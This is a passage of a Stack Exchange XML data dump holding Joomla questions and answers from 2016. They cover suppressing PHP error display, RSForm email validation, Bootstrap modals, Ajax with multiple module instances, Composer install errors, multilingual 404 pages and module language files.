  <row Id="15121" PostTypeId="2" ParentId="5797" CreationDate="2016-01-30T01:29:56.997" Score="1" Body="&lt;p&gt;Update Joomla and third party extensions to the latest versions as this may have been fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the code can't easily be updated to fix the warning messages, there are a few ways you can can suppress the messages from being displayed, depending on your hosting environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try (in the following order):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Global Configuration Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set &lt;code&gt;System -&amp;gt; Global Configuration -&amp;gt; Server -&amp;gt; Error Reporting&lt;/code&gt; to &quot;None&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. &lt;code&gt;php.ini&lt;/code&gt; File&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following lines to the start of the &lt;code&gt;php.ini&lt;/code&gt; file in the &lt;code&gt;public_html&lt;/code&gt; folder (or similar root folder) of your web hosting account (create the file if it doesn't exist):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display_errors = Off&#xA;error_reporting = E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_STRICT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. &lt;code&gt;.htaccess&lt;/code&gt; File&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following lines to the start of the &lt;code&gt;.htaccess&lt;/code&gt; file in the &lt;code&gt;public_html&lt;/code&gt; folder (or similar root folder) of your web hosting account (create the file if it doesn't exist):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value display_errors 0&#xA;php_value error_reporting 22527&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reference:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/9983286/1983389&quot;&gt;https://stackoverflow.com/q/9983286/1983389&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="120" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-01-30T01:29:56.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15125" PostTypeId="1" AcceptedAnswerId="15127" CreationDate="2016-01-30T10:41:22.083" Score="3" ViewCount="502" Body="&lt;p&gt;Inside a plugin I need to make a popup window to preview some HTML structure.&#xA;Can I use JLayout to achieve it or is there a more proper way to do it?&#xA;If JLayout is the way to do it, also would like to know how can I check if a certain Layout is being used.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2016-01-30T14:29:47.307" Title="JLayout recommended usage" Tags="|joomla-3.x|development|plugin|jlayout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15126" PostTypeId="2" ParentId="7073" CreationDate="2016-01-30T13:45:05.860" Score="5" Body="&lt;p&gt;You need to enter the following into the 2nd textarea in the form properties tab under &amp;quot;PHP Scripts&amp;quot;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$formId = 0; // CHANGE THIS VALUE to your form ID&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery();&#xA;&#xA;$query&#xA;    -&amp;gt;select(&amp;quot;*&amp;quot;)&#xA;    -&amp;gt;from(&amp;quot;__rsform_submission_values&amp;quot;)&#xA;    -&amp;gt;where(&amp;quot;FormId = &amp;quot; . $db-&amp;gt;q($formId))&#xA;    -&amp;gt;where(&amp;quot;FieldValue = &amp;quot; . $db-&amp;gt;q($_POST['form']['email_address'] ));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&#xA;$num_rows = $db-&amp;gt;getNumRows();&#xA;&#xA;// We found this email in the submissions&#xA;if ($num_rows &amp;gt; 0) {&#xA;    $invalid[] = RSresolveComponentName('email_address', $formId);&#xA;    echo RSshowForm($formId, $_POST['form'], $invalid);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You could also create a new validation rule by adding this function to this file: components/com_rsform/controller/validation.php, which can be selected by editing the email_address field and selecting &amp;quot;unique&amp;quot; as the Validation Rule.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function unique($param, $extra=null)&#xA;{        &#xA;    $db = JFactory::getDBO();&#xA;    $param = $db-&amp;gt;getEscaped($param);&#xA;    $db-&amp;gt;setQuery(&amp;quot;SELECT * FROM #__rsform_submission_values WHERE `FieldName`='email_address' AND `FieldValue`='&amp;quot;.$param.&amp;quot;'&amp;quot;);&#xA;    $db-&amp;gt;query();&#xA;    $invalid = $db-&amp;gt;getNumRows();&#xA;    &#xA;    if ($invalid)&#xA;        return false;&#xA;&#xA;    return true;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There is a little more documentation on custom validations on this page.&#xA;&lt;a href=&quot;https://www.rsjoomla.com/support/documentation/rsform-pro/customizing-rsform-pro/custom-validation-rules.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/support/documentation/rsform-pro/customizing-rsform-pro/custom-validation-rules.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This thread might also prove helpful: &lt;a href=&quot;https://www.rsjoomla.com/forum/37-rsform-pro/9162-setup-form-so-each-user-can-only-submit-once-.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rsjoomla.com/forum/37-rsform-pro/9162-setup-form-so-each-user-can-only-submit-once-.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&lt;p&gt;This answer is old and most likely obsolete, I no longer do Joomla development.&lt;/p&gt;&#xA;" OwnerUserId="2272" LastEditorUserId="2272" LastEditDate="2023-01-11T20:52:52.847" LastActivityDate="2023-01-11T20:52:52.847" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="15127" PostTypeId="2" ParentId="15125" CreationDate="2016-01-30T14:29:47.307" Score="6" Body="&lt;p&gt;You can used Joomla's &lt;code&gt;renderModal&lt;/code&gt; function to initiate a Bootstrap modal.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$name = 'myModal';&#xA;$html = '&amp;lt;a href=&quot;#modal-' . $name.'&quot; data-toggle=&quot;modal&quot; class=&quot;btn&quot;&amp;gt;Launch modal&amp;lt;/a&amp;gt;';&#xA;&#xA;$modalParams = array();&#xA;$modalParams['title']  = 'Modal title';&#xA;&#xA;$modalBody = '&amp;lt;p&amp;gt;Modal main text line 2&amp;lt;/p&amp;gt;';&#xA;$modalBody .= '&amp;lt;p&amp;gt;Modal main text line 2&amp;lt;/p&amp;gt;';&#xA;&#xA;echo $html .= JHtml::_('bootstrap.renderModal', 'modal-' . $name, $modalParams, $modalBody);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$modalBody&lt;/code&gt; variable should contain all of your modal content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Gw65B.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gw65B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-01-30T14:29:47.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15128" PostTypeId="1" AcceptedAnswerId="15140" CreationDate="2016-01-30T15:07:53.780" Score="1" ViewCount="493" Body="&lt;p&gt;I have created a custom module (test) that has two buttons - a forward and a backward button. When clicked, the Joomla Ajax Interface is used to call the getAjax() function of helper.php. This works just fine, and I get the expected response. The problems appear, when I have multiple instances of the same module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two problems:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The module has a parameter, where you select the categories you want results returned from. I cannot figure out, how to use this parameter in getAjax(), when there is more than one of these modules. In the mod_test.php, I just use &lt;code&gt;$params-&amp;gt;get('cat_ids')&lt;/code&gt;. That is just not possible in the helper (when there is more than one instance of the module) since &lt;code&gt;JModuleHelper::getModule&lt;/code&gt; returns the first module found. Each instance of the module will have different paramters, so it is essential to be able to get these.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This problem is similar. How do I make an Ajax request to a specific instance of a module with Joomla Ajax Interface? Right now, I am using &lt;code&gt;?option=com_ajax&amp;amp;module=test&amp;amp;format=raw&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7705" LastEditorUserId="7705" LastEditDate="2016-01-30T16:24:25.697" LastActivityDate="2016-01-31T20:51:02.070" Title="Ajax multiple module instances" Tags="|module|javascript|ajax|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15131" PostTypeId="2" ParentId="15118" CreationDate="2016-01-31T10:25:22.577" Score="2" Body="&lt;p&gt;Its received by &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/input/input.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JInput&lt;/code&gt;&lt;/a&gt; which is instantiated in &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/3b1562b3b17fabd1688c6805c6170c1090280cb6/libraries/joomla/application/base.php#L54&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JApplicationBase::_construct()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By default it's source is &lt;code&gt;$_REQUEST&lt;/code&gt; like you can see &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/22fdc98d5a8eed3cf40cebb310e7402d1fb0f1f0/libraries/joomla/input/input.php#L94&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-31T10:25:22.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15132" PostTypeId="2" ParentId="10150" CreationDate="2016-01-31T11:31:20.097" Score="1" Body="&lt;p&gt;This plugin does the job, order numbers are customisable through this - &lt;a href=&quot;http://extensions.virtuemart.net/vm-orders/order-number-plugin-detail&quot; rel=&quot;nofollow&quot;&gt;http://extensions.virtuemart.net/vm-orders/order-number-plugin-detail&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2016-01-31T11:31:20.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15133" PostTypeId="2" ParentId="12351" CreationDate="2016-01-31T11:38:14.883" Score="0" Body="&lt;p&gt;PayPal Payments Pro allows payments direct on the site in an iframe which we are currently in the process of implementing.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2016-01-31T11:38:14.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15134" PostTypeId="2" ParentId="13551" CreationDate="2016-01-31T11:40:31.903" Score="1" Body="&lt;p&gt;After months of thorough research, I conclude that this is not possible. This is because Virtuemart works with e-mails for order confirmation, whereas Just Eat uses something else.&lt;/p&gt;&#xA;" OwnerUserId="3544" LastActivityDate="2016-01-31T11:40:31.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15136" PostTypeId="1" AcceptedAnswerId="15138" CreationDate="2016-01-31T15:33:07.563" Score="3" ViewCount="185" Body="&lt;p&gt;Following the &quot;simple&quot; instructions, I'm completely unable to get the FrameWork to function.  I don't normally use Git &lt;em&gt;or&lt;/em&gt; Composer, so don't know what to expect as a final result when these 4 steps are complete to even begin troubleshooting.  Some of the Git files are upwards of 3 years old, so I'm not even sure if any of this is current or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when I get something installed, I see a &lt;code&gt;www\&lt;/code&gt; folder that has a few files in it, which I presume go into the root of my site, but they appear to have dependencies on folders above that folder, so suggests to me that I have to have these folders on my production server, or that the installation process hasn't complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I just want to get to the folders/files that I need in order to use the Joomla Framework (on a production server) can I get those somewhere easily, or is there something missing in what I'm doing below?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://framework.joomla.org/&quot;&gt;https://framework.joomla.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Get the Sample Application&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The easiest way to get to know the Joomla! Framework is to start with&#xA;  the sample app.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Install Composer.&#xA;Download this [sample app][1] repository from GitHub.&#xA;Run `composer install`.&#xA;View in your browser.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result of &quot;Run composer install&quot;:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Basic usage: composer &amp;lt;command&amp;gt;&#xA;For more information just type &quot;composer&quot;.&#xA;&#xA;D:\www\framework-app-master&amp;gt;composer install&#xA;Loading composer repositories with package information&#xA;Installing dependencies (including require-dev) from lock file&#xA;Warning: The lock file is not up to date with the latest changes in composer.json. You may be getting outdated dependencies. Run update to update them.&#xA;  - Installing psr/log (dev-master 5144da9)&#xA;    Cloning 5144da9525d24346bf009ff28f10cbaa1f0f166e&#xA;&#xA;  - Installing joomla/framework (1.0)&#xA;    Loading from cache&#xA;&#xA;  - Installing symfony/http-foundation (v2.4.0)&#xA;    Loading from cache&#xA;&#xA;  - Installing twbs/bootstrap (v2.3.2)&#xA;    Loading from cache&#xA;&#xA;  - Installing twig/twig (v1.14.2)&#xA;    Loading from cache&#xA;&#xA;  - Installing filp/whoops (1.0.9)&#xA;    Loading from cache&#xA;&#xA;joomla/framework suggests installing symfony/yaml (Install symfony/yaml 2.* if you require YAML support.)&#xA;Generating autoload files&#xA;&amp;gt; App\Setup\InstallScript::postInstall&#xA;Script App\Setup\InstallScript::postInstall handling the post-install-cmd event terminated with an exception&#xA;&#xA;&#xA;  [ErrorException]&#xA;  symlink(): Could not fetch file information(error 3)&#xA;&#xA;&#xA;install [--prefer-source] [--prefer-dist] [--dry-run] [--dev] [--no-dev] [--no-plugins] [--no-custom-installers] [--no-autoloader] [--no-scripts] [--no-progress] [-v|vv|vvv|--verbose] [-o|--optimize-autoloader] [-a|--classmap-authoritative] [--ignore-platform-reqs] [--] [&amp;lt;packages&amp;gt;]&#xA;&#xA;D:\www\framework-app-master&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Run &quot;View in your browser&quot;&lt;/strong&gt; (at localhost/framework-app-master/www/index.php)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to handle request for route `index.php`.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2016-01-31T19:29:04.387" Title="How do I get the Joomla Framework Files for a production server?" Tags="|installation|git|joomla-framework|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15137" PostTypeId="1" AcceptedAnswerId="15139" CreationDate="2016-01-31T19:18:10.760" Score="1" ViewCount="371" Body="&lt;p&gt;I have copied &lt;code&gt;/components/com_content/views/category/default_articles.php&lt;/code&gt; into my template and the overwrite is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't know the line of code Joomla uses so I can add a Delete button next to the Edit button. This is on the Category List component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="7711" LastEditorUserId="3944" LastEditDate="2016-01-31T19:30:32.613" LastActivityDate="2016-01-31T20:01:19.817" Title="Category List delete button" Tags="|joomla-3.x|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15138" PostTypeId="2" ParentId="15136" CreationDate="2016-01-31T19:29:04.387" Score="3" Body="&lt;p&gt;&lt;code&gt;symlink&lt;/code&gt; command for Bootstrap assets is failing. Symlinking is known not to work on some Windows versions.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Windows users should note that this function will only work if the system you run PHP from is Windows Vista/Windows Server 2008 or newer. Windows versions prior to that do not support symbolic links.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Don't know which OS you have, but if it's Windows and Vista or up, then it could be bug in PHP. It had some bugs with symlinking in 5.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, to fix it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;post-install-cmd&quot;: [&#xA;     &quot;App\\Setup\\InstallScript::postInstall&quot;&#xA;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from &lt;code&gt;composer.json&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then run &lt;code&gt;composer install&lt;/code&gt; again to finish installing all necessary dependencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally copy bootstrap assets from &lt;code&gt;../../vendor/twbs/bootstrap/docs/assets&lt;/code&gt; to &lt;code&gt;www/assets&lt;/code&gt; manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Double check that you have &lt;code&gt;App/Config/config.json&lt;/code&gt; file, if not copy and create (or rename) it from &lt;code&gt;App/Config/config.dist.json&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-31T19:29:04.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15139" PostTypeId="2" ParentId="15137" CreationDate="2016-01-31T20:01:19.817" Score="1" Body="&lt;p&gt;There ise no controller for articles in frontend, so you can't add delete button without customising &lt;code&gt;com_content&lt;/code&gt; component. But there is option to unpublish / trash article in edit view. That's the best you can do in frontend from core component right now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you need delete button, you should create your own component based on &lt;code&gt;com_content&lt;/code&gt; and add articles controller, which has method to delete article. But bear in mind that Joomla! defaut flow is to trash article and only then delete it completely. &lt;/p&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-01-31T20:01:19.817" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15140" PostTypeId="2" ParentId="15128" CreationDate="2016-01-31T20:29:26.793" Score="3" Body="&lt;p&gt;&lt;code&gt;com_ajax&lt;/code&gt; dosent need to know correct instance of module, since it only needs to find &lt;code&gt;helper.php&lt;/code&gt; (to call &lt;code&gt;getAjax()&lt;/code&gt;), which is obviously same for both instances. So this covers your second question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change your ajax url to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;?option=com_ajax&amp;amp;module=test&amp;amp;format=raw&amp;amp;module_title=MODULE_TITLE_HERE&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you can retrieve it in your &lt;code&gt;getAjax()&lt;/code&gt; function to get right instance parameters.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;// Get right instance by title&#xA;$module = JModuleHelper::getModule('mod_test', $jinput-&amp;gt;getVar('module_title'));&#xA;$params = new JRegistry();&#xA;$params-&amp;gt;loadString($module-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-01-31T20:51:02.070" LastActivityDate="2016-01-31T20:51:02.070" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15141" PostTypeId="1" AcceptedAnswerId="15146" CreationDate="2016-01-31T22:34:09.900" Score="2" ViewCount="1864" Body="&lt;p&gt;I'm looking for a way to have a custom 404 error page that will appear in function of the language of the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have created my error.php and I put it there : &quot;templates/YourTemplate/error.php&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php defined('_JEXEC') or die;&#xA;if ($this-&amp;gt;error-&amp;gt;getCode() == '404') {&#xA;     header(&quot;HTTP/1.0 404 Not Found&quot;);&#xA;     echo file_get_contents(JURI::root().'./error-404');&#xA; exit;&#xA; }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also created my hidden menu with a blog view set to all language with the alias error-404. This menu to the articles from the &quot;error-404&quot; category (all language).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't have to alias for the same article so created the French article with error-404 and I also created the English categories with error-404-en alias. Finally, I created an association to link the two article together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set every element to &quot;no index / no follow&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I could create a new template for one language and set the other one for the other language with their specific error.php, but I would like to keep the same template for both languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="7692" LastActivityDate="2017-03-21T15:23:50.143" Title="How to create a custom 404 Error page for every language" Tags="|joomla-3.x|joomla-3.4|templates|overrides|multilingual|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15142" PostTypeId="1" AcceptedAnswerId="15153" CreationDate="2016-01-31T23:59:02.983" Score="2" ViewCount="1043" Body="&lt;p&gt;Here is the module manifest file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;extension type=&quot;module&quot; version=&quot;3.4&quot; method=&quot;upgrade&quot; client=&quot;site&quot;&amp;gt;&#xA;  &amp;lt;name&amp;gt;ABCD_MOD_QUICK_WRK&amp;lt;/name&amp;gt;&#xA;  ...&#xA;  ....&#xA;  &amp;lt;description&amp;gt;ABCD_MOD_QUICK_WRK_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;  ...&#xA;  &amp;lt;files&amp;gt;&#xA;    ....&#xA;    &amp;lt;filename module=&quot;mod_quickwrk&quot;&amp;gt;mod_quickwrk.php&amp;lt;/filename&amp;gt;&#xA;    ....&#xA;    &amp;lt;folder&amp;gt;language&amp;lt;/folder&amp;gt;&#xA;  &amp;lt;/files&amp;gt;&#xA;&#xA;  &amp;lt;languages&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB.mod_quickwrk.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;language/en-GB.mod_quickwrk.sys.ini&amp;lt;/language&amp;gt;&#xA;  &amp;lt;/languages&amp;gt;&#xA;  .....&#xA;  ....&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;en-GB.mod_quickwrk.ini&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ABCD_MOD_QUICK_WRK = &quot;Quick Work&quot;&#xA;ABCD_MOD_QUICK_WRK_DESCRIPTION = &quot;Quick work description&quot;&#xA;....&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;en-GB.mod_quickwrk.sys.ini&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ABCD_MOD_QUICK_WRK = &quot;Quick Work&quot;&#xA;ABCD_MOD_QUICK_WRK_DESCRIPTION = &quot;Quick work description&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I install the module, Joomla takes the module title as 'ABCD_MOD_QUICK_WRK' instead of 'Quick Work'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see the attached image.  The yellow color ones are not recognized by language files.  The green ones are ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/59y4D.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/59y4D.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some other language variables inside &lt;code&gt;en-GB.mod_quickwrk.ini&lt;/code&gt; for module parameters which are loaded perfect.  The only problem is the title and description of the module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastEditorUserId="2239" LastEditDate="2016-02-01T00:59:40.443" LastActivityDate="2017-01-12T18:46:03.827" Title="Module title not getting from language file" Tags="|joomla-3.x|module|language|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15144" PostTypeId="2" ParentId="15142" CreationDate="2016-02-01T05:18:41.057" Score="2" Body="&lt;p&gt;The proper method is like follows,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your module's xml file it should have language file like follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.mod_latesttweets.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.mod_latesttweets.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and your fields like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;work&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;ABCD_MOD_QUICK_WRK&quot; description=&quot;ABCD_MOD_QUICK_WRK_DESCRIPTIONC&quot; size=&quot;60&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then module folder have these two files.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;en-GB.mod_quickwrk.ini&#xA;en-GB.mod_quickwrk.sys.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inside language file like below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ABCD_MOD_QUICK_WRK = &quot;Quick Work&quot;&#xA;ABCD_MOD_QUICK_WRK_DESCRIPTION = &quot;Quick work description&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then Joomla will place this file in the proper language folder while you install the module.&#xA;Once you have installed the module and need to change the language labels. Should be change inside Joomla language folder file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can download a sample module from this &lt;a href=&quot;http://www.walkswithme.net/latest-tweets-joomla-module&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; and check the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue look like your language file does not exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope its helps..&lt;/p&gt;&#xA;" OwnerUserId="5319" LastActivityDate="2016-02-01T05:18:41.057" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15146" PostTypeId="2" ParentId="15141" CreationDate="2016-02-01T09:59:11.967" Score="5" Body="&lt;p&gt;you also could use the standard 404 (or similar) php-file of your template if it already exists. The Joomla! alias standard would be /404 or /404.html according to the global configuration for the alias handling. Normally it´s no good idea to override this behaviour by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would just use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JText::_('SOME_INFO_FOR_404'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside the php-file. So you just need to set up the according language string overrides for title etc. and do not need separated php-files or templates.&#xA;If you do want to push special vars for the different languages, for e.g. passing different pictures, you could also use the available framework language checks.&lt;/p&gt;&#xA;" OwnerUserId="7714" LastActivityDate="2016-02-01T09:59:11.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15148" PostTypeId="1" AcceptedAnswerId="15510" CreationDate="2016-02-01T13:19:16.717" Score="1" ViewCount="1323" Body="&lt;p&gt;I have been looking for readily available solutions to authenticate a user account to a Laravel application and the only things that I've come across in the general sense of authentication is LDAP, JWT, and oAuth. All that I have found so far was to use external services to log into the Joomla! install, rather than use Joomla! as a server itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than trying to sync user accounts (which would require issuing password resets for first-time users and may turn users away), what would be the best way to have existing Joomla! users log into a Laravel application?&lt;/p&gt;&#xA;" OwnerUserId="1670" LastActivityDate="2016-03-03T22:00:40.383" Title="Using Joomla! user account for authenticating to a Laravel application" Tags="|joomla-2.5|user|login|authentication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 